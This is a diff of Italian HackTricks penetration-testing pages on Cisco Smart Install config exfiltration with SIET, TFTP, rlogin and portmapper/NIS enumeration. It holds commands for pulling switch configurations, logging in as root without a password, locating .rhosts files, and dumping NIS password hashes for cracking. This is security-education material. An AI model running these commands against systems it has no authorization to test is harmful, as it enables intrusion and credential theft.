L'indirizzo dello switch di destinazione è **10.10.100.10 e CSI è attivo.** Carica SIET e avvia l'attacco. **L'argomento -g** significa esfiltrazione della configurazione dal dispositivo, **l'argomento -i** ti consente di impostare l'indirizzo IP del target vulnerabile.
|
||||
```
|
||||
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (302).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (770).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La configurazione dello switch **10.10.100.10** sarà nella cartella **tftp/**
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (73).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,36 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
# Informazioni di base
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**Trivial File Transfer Protocol (TFTP)** è un protocollo semplice utilizzato sulla porta **UDP 69** che consente il trasferimento di file senza autenticazione. Evidenziato in **RFC 1350**, la sua semplicità significa che manca di importanti funzionalità di sicurezza, il che limita il suo utilizzo su Internet pubblico. Tuttavia, **TFTP** viene ampiamente utilizzato all'interno di grandi reti interne per distribuire file di configurazione e immagini ROM a dispositivi come telefoni VoIP, grazie alla sua efficienza in questi scenari specifici.
|
||||
|
||||
**TODO**: Fornire informazioni su cosa sia un Bittorrent-tracker (Shodan identifica questa porta con quel nome). Se hai ulteriori informazioni a riguardo, faccelo sapere ad esempio nel [**gruppo telegram di HackTricks**](https://t.me/peass) (o in una issue di github in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
# Informazioni di Base
|
||||
|
||||
**Porta predefinita:** 69/UDP
|
||||
Il **Trivial File Transfer Protocol (TFTP)** è un protocollo diretto utilizzato sulla porta **UDP 69** che consente trasferimenti di file senza necessità di autenticazione. Evidenziato in **RFC 1350**, la sua semplicità significa che manca di importanti funzionalità di sicurezza, portando a un uso limitato su Internet pubblico. Tuttavia, **TFTP** è ampiamente utilizzato all'interno di grandi reti interne per distribuire **file di configurazione** e **immagini ROM** a dispositivi come **telefoni VoIP**, grazie alla sua efficienza in questi scenari specifici.
|
||||
|
||||
**DA FARE**: Fornire informazioni su cosa sia un tracker Bittorrent (Shodan identifica questa porta con quel nome). Se hai ulteriori informazioni a riguardo faccelo sapere ad esempio nel [**gruppo telegram di HackTricks**](https://t.me/peass) (o in una issue di github in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
|
||||
**Porta Predefinita:** 69/UDP
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
69/udp open tftp script-set
|
||||
```
|
||||
# Enumerazione
|
||||
|
||||
TFTP non fornisce un elenco delle directory, quindi lo script `tftp-enum` di `nmap` cercherà di forzare i percorsi predefiniti.
|
||||
TFTP non fornisce elenchi delle directory, quindi lo script `tftp-enum` di `nmap` cercherà di forzare i percorsi predefiniti.
|
||||
```bash
|
||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||
```
|
||||
|
@ -45,19 +49,24 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `porta: 69`
|
||||
* `port:69`
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,27 @@
|
|||
# 513 - Pentesting Rlogin
|
||||
# 513 - Test di penetrazione Rlogin
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
In passato, **rlogin** veniva ampiamente utilizzato per compiti di amministrazione remota. Tuttavia, a causa delle preoccupazioni sulla sicurezza, è stato in gran parte sostituito da **slogin** e **ssh**. Questi metodi più recenti offrono una maggiore sicurezza per le connessioni remote.
|
||||
In passato, **rlogin** veniva ampiamente utilizzato per compiti di amministrazione remota. Tuttavia, a causa di preoccupazioni sulla sua sicurezza, è stato in gran parte sostituito da **slogin** e **ssh**. Questi metodi più recenti forniscono una maggiore sicurezza per le connessioni remote.
|
||||
|
||||
**Porta predefinita:** 513
|
||||
```
|
||||
|
@ -24,94 +29,35 @@ PORT STATE SERVICE
|
|||
513/tcp open login
|
||||
```
|
||||
## **Accesso**
|
||||
|
||||
---
|
||||
|
||||
### **Description**
|
||||
|
||||
Rlogin is a remote login service that allows users to log into a remote system over a network. It is commonly used in Unix-based systems.
|
||||
|
||||
### **Descrizione**
|
||||
|
||||
Rlogin è un servizio di accesso remoto che consente agli utenti di accedere a un sistema remoto tramite una rete. È comunemente utilizzato nei sistemi basati su Unix.
|
||||
|
||||
---
|
||||
|
||||
### **Vulnerabilities**
|
||||
|
||||
1. Weak Passwords: Rlogin is vulnerable to brute-force attacks if weak passwords are used.
|
||||
|
||||
2. Cleartext Transmission: Rlogin transmits data in plain text, making it susceptible to eavesdropping and interception.
|
||||
|
||||
3. Trust Relationships: Rlogin relies on trust relationships between systems, which can be exploited to gain unauthorized access.
|
||||
|
||||
### **Vulnerabilità**
|
||||
|
||||
1. Password deboli: Rlogin è vulnerabile agli attacchi di forza bruta se vengono utilizzate password deboli.
|
||||
|
||||
2. Trasmissione in chiaro: Rlogin trasmette i dati in chiaro, rendendoli suscettibili ad intercettazioni e ascolto.
|
||||
|
||||
3. Relazioni di fiducia: Rlogin si basa su relazioni di fiducia tra i sistemi, che possono essere sfruttate per ottenere accesso non autorizzato.
|
||||
|
||||
---
|
||||
|
||||
### **Exploitation**
|
||||
|
||||
1. Brute-Force Attack: An attacker can use a brute-force attack to guess weak passwords and gain unauthorized access to the remote system.
|
||||
|
||||
2. Packet Sniffing: By intercepting network traffic, an attacker can capture Rlogin packets and extract sensitive information, such as usernames and passwords.
|
||||
|
||||
3. Spoofing: An attacker can spoof the IP address of a trusted system to gain unauthorized access to the remote system.
|
||||
|
||||
### **Sfruttamento**
|
||||
|
||||
1. Attacco di forza bruta: Un attaccante può utilizzare un attacco di forza bruta per indovinare password deboli e ottenere accesso non autorizzato al sistema remoto.
|
||||
|
||||
2. Sniffing dei pacchetti: Intercettando il traffico di rete, un attaccante può catturare i pacchetti Rlogin ed estrarre informazioni sensibili, come nomi utente e password.
|
||||
|
||||
3. Spoofing: Un attaccante può falsificare l'indirizzo IP di un sistema fidato per ottenere accesso non autorizzato al sistema remoto.
|
||||
|
||||
---
|
||||
|
||||
### **Countermeasures**
|
||||
|
||||
1. Use Strong Passwords: Ensure that strong passwords are used for Rlogin accounts to prevent brute-force attacks.
|
||||
|
||||
2. Use Encryption: Implement encryption mechanisms, such as SSH, to secure the transmission of data over the network.
|
||||
|
||||
3. Disable Rlogin: If not required, disable the Rlogin service to eliminate the associated vulnerabilities.
|
||||
|
||||
### **Contromisure**
|
||||
|
||||
1. Utilizzare password sicure: Assicurarsi che vengano utilizzate password sicure per gli account Rlogin al fine di prevenire attacchi di forza bruta.
|
||||
|
||||
2. Utilizzare la crittografia: Implementare meccanismi di crittografia, come SSH, per proteggere la trasmissione dei dati sulla rete.
|
||||
|
||||
3. Disabilitare Rlogin: Se non necessario, disabilitare il servizio Rlogin per eliminare le vulnerabilità associate.
|
||||
```bash
|
||||
# Install client
|
||||
apt-get install rsh-client
|
||||
```
|
||||
Puoi utilizzare il seguente comando per provare a **effettuare il login** su un host remoto dove non è richiesta alcuna password per l'accesso. Prova ad utilizzare **root** come nome utente:
|
||||
Puoi utilizzare il seguente comando per provare a **effettuare l'accesso** a un host remoto dove non è richiesta alcuna password per l'accesso. Prova ad utilizzare **root** come nome utente:
|
||||
```bash
|
||||
rlogin <IP> -l <username>
|
||||
```
|
||||
### [Forza bruta](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
||||
|
||||
## Trova file
|
||||
## Trovare file
|
||||
```
|
||||
find / -name .rhosts
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,27 @@
|
|||
# 111/TCP/UDP - Test di penetrazione su Portmapper
|
||||
# 111/TCP/UDP - Test di penetrazione Portmapper
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
**Portmapper** è un servizio utilizzato per mappare le porte dei servizi di rete ai numeri di programma **RPC** (Remote Procedure Call). Agisce come componente critico nei sistemi basati su **Unix**, facilitando lo scambio di informazioni tra questi sistemi. La **porta** associata a **Portmapper** viene spesso scansionata dagli attaccanti in quanto può rivelare informazioni preziose. Queste informazioni includono il tipo di **sistema operativo Unix (OS)** in esecuzione e i dettagli sui servizi disponibili nel sistema. Inoltre, **Portmapper** viene comunemente utilizzato in combinazione con **NFS (Network File System)**, **NIS (Network Information Service)** e altri servizi basati su **RPC** per gestire efficacemente i servizi di rete.
|
||||
**Portmapper** è un servizio utilizzato per mappare le porte dei servizi di rete ai numeri di programma **RPC** (Remote Procedure Call). Agisce come componente critico nei **sistemi basati su Unix**, facilitando lo scambio di informazioni tra questi sistemi. La **porta** associata a **Portmapper** viene frequentemente esaminata dagli attaccanti poiché può rivelare informazioni preziose. Queste informazioni includono il tipo di **Sistema Operativo Unix (OS)** in esecuzione e dettagli sui servizi disponibili nel sistema. Inoltre, **Portmapper** è comunemente utilizzato insieme a **NFS (Network File System)**, **NIS (Network Information Service)** e altri **servizi basati su RPC** per gestire efficacemente i servizi di rete.
|
||||
|
||||
**Porta predefinita:** 111/TCP/UDP, 32771 in Oracle Solaris
|
||||
```
|
||||
|
@ -24,91 +29,13 @@ PORT STATE SERVICE
|
|||
111/tcp open rpcbind
|
||||
```
|
||||
## Enumerazione
|
||||
|
||||
### RPCBIND
|
||||
|
||||
The rpcbind service is used to map RPC (Remote Procedure Call) program numbers to network addresses. It listens on TCP and UDP port 111. By querying the rpcbind service, an attacker can gather information about the RPC services running on a target system.
|
||||
|
||||
#### Enumerating RPC Services
|
||||
|
||||
To enumerate RPC services using rpcbind, you can use the `rpcinfo` command. The syntax is as follows:
|
||||
|
||||
```plaintext
|
||||
rpcinfo -p <target>
|
||||
```
|
||||
|
||||
This command will display a list of RPC services along with their program numbers and transport protocols.
|
||||
|
||||
#### Enumerating NFS Shares
|
||||
|
||||
NFS (Network File System) is a commonly used protocol for sharing files and directories between systems. To enumerate NFS shares, you can use the `showmount` command. The syntax is as follows:
|
||||
|
||||
```plaintext
|
||||
showmount -e <target>
|
||||
```
|
||||
|
||||
This command will display a list of NFS shares along with the hosts that are allowed to access them.
|
||||
|
||||
#### Enumerating NIS Services
|
||||
|
||||
NIS (Network Information Service) is a system for distributing system configuration data such as user and group information. To enumerate NIS services, you can use the `ypcat` command. The syntax is as follows:
|
||||
|
||||
```plaintext
|
||||
ypcat -h <target> <mapname>
|
||||
```
|
||||
|
||||
This command will display the contents of the specified NIS map.
|
||||
|
||||
#### Enumerating Portmapper Services
|
||||
|
||||
Portmapper is a service that runs on port 111 and is used to map RPC program numbers to port numbers. To enumerate Portmapper services, you can use the `portmap` command. The syntax is as follows:
|
||||
|
||||
```plaintext
|
||||
portmap -p <target>
|
||||
```
|
||||
|
||||
This command will display a list of RPC services along with their program numbers and port numbers.
|
||||
|
||||
### SNMP
|
||||
|
||||
Simple Network Management Protocol (SNMP) is a protocol used for managing and monitoring network devices. It operates over UDP port 161. SNMP allows for the collection of information about network devices, such as their configuration and performance statistics.
|
||||
|
||||
#### Enumerating SNMP Information
|
||||
|
||||
To enumerate SNMP information, you can use the `snmpwalk` command. The syntax is as follows:
|
||||
|
||||
```plaintext
|
||||
snmpwalk -c <community> -v <version> <target> <OID>
|
||||
```
|
||||
|
||||
This command will retrieve the value of the specified Object Identifier (OID) from the target SNMP agent.
|
||||
|
||||
#### Enumerating SNMP Community Strings
|
||||
|
||||
SNMP community strings are used to authenticate SNMP requests. To enumerate SNMP community strings, you can use the `onesixtyone` command. The syntax is as follows:
|
||||
|
||||
```plaintext
|
||||
onesixtyone -c <community-file> <target>
|
||||
```
|
||||
|
||||
This command will attempt to brute force SNMP community strings using a list of common strings provided in the specified file.
|
||||
|
||||
#### Enumerating SNMP Users
|
||||
|
||||
SNMPv3 supports user-based security model (USM), which allows for the authentication and encryption of SNMP messages. To enumerate SNMP users, you can use the `snmp-check` command. The syntax is as follows:
|
||||
|
||||
```plaintext
|
||||
snmp-check -c <community> -v <version> -u <username> -l <level> <target>
|
||||
```
|
||||
|
||||
This command will check if the specified SNMP user exists on the target system.
|
||||
```
|
||||
rpcinfo irked.htb
|
||||
nmap -sSUC -p111 192.168.10.1
|
||||
```
|
||||
A volte non ti fornisce alcuna informazione, in altre occasioni otterrai qualcosa del genere:
|
||||
|
||||
![](<../.gitbook/assets/image (230).png>)
|
||||
![](<../.gitbook/assets/image (550).png>)
|
||||
|
||||
### Shodan
|
||||
|
||||
|
@ -118,19 +45,19 @@ A volte non ti fornisce alcuna informazione, in altre occasioni otterrai qualcos
|
|||
|
||||
Se trovi il servizio NFS, probabilmente sarai in grado di elencare e scaricare (e forse caricare) file:
|
||||
|
||||
![](<../.gitbook/assets/image (232).png>)
|
||||
![](<../.gitbook/assets/image (869).png>)
|
||||
|
||||
Leggi [2049 - Pentesting servizio NFS](nfs-service-pentesting.md) per saperne di più su come testare questo protocollo.
|
||||
|
||||
## NIS
|
||||
|
||||
Esplorare le vulnerabilità di **NIS** comporta un processo in due fasi, a partire dall'identificazione del servizio `ypbind`. La pietra angolare di questa esplorazione è scoprire il **nome di dominio NIS**, senza il quale il progresso viene interrotto.
|
||||
Esplorare le vulnerabilità di **NIS** coinvolge un processo in due fasi, iniziando con l'identificazione del servizio `ypbind`. La pietra angolare di questa esplorazione è scoprire il **nome di dominio NIS**, senza il quale il progresso viene interrotto.
|
||||
|
||||
![](<../.gitbook/assets/image (233).png>)
|
||||
![](<../.gitbook/assets/image (856).png>)
|
||||
|
||||
Il viaggio di esplorazione inizia con l'installazione dei pacchetti necessari (`apt-get install nis`). Il passaggio successivo richiede l'utilizzo di `ypwhich` per confermare la presenza del server NIS effettuando un ping con il nome di dominio e l'indirizzo IP del server, assicurandosi che questi elementi siano anonimizzati per motivi di sicurezza.
|
||||
Il viaggio di esplorazione inizia con l'installazione dei pacchetti necessari (`apt-get install nis`). Il passo successivo richiede l'uso di `ypwhich` per confermare la presenza del server NIS pinging con il nome di dominio e l'IP del server, assicurandosi che questi elementi siano anonimizzati per motivi di sicurezza.
|
||||
|
||||
Il passaggio finale e cruciale coinvolge il comando `ypcat` per estrarre dati sensibili, in particolare le password degli utenti crittografate. Questi hash, una volta decifrati utilizzando strumenti come **John the Ripper**, rivelano informazioni sull'accesso al sistema e i privilegi.
|
||||
Il passo finale e cruciale coinvolge il comando `ypcat` per estrarre dati sensibili, in particolare password utente crittografate. Questi hash, una volta decifrati utilizzando strumenti come **John the Ripper**, rivelano informazioni sull'accesso al sistema e i privilegi.
|
||||
```bash
|
||||
# Install NIS tools
|
||||
apt-get install nis
|
||||
|
@ -141,34 +68,38 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
|||
```
|
||||
### File NIF
|
||||
|
||||
| **File principale** | **Mappa(e)** | **Note** |
|
||||
| ------------------- | --------------------------- | ------------------------------------ |
|
||||
| /etc/hosts | hosts.byname, hosts.byaddr | Contiene nomi host e dettagli IP |
|
||||
| /etc/passwd | passwd.byname, passwd.byuid | File delle password degli utenti NIS |
|
||||
| /etc/group | group.byname, group.bygid | File dei gruppi NIS |
|
||||
| /usr/lib/aliases | mail.aliases | Dettagli sugli alias di posta |
|
||||
| **File principale** | **Mappa(e)** | **Note** |
|
||||
| ------------------- | --------------------------- | ---------------------------------- |
|
||||
| /etc/hosts | hosts.byname, hosts.byaddr | Contiene nomi host e dettagli IP |
|
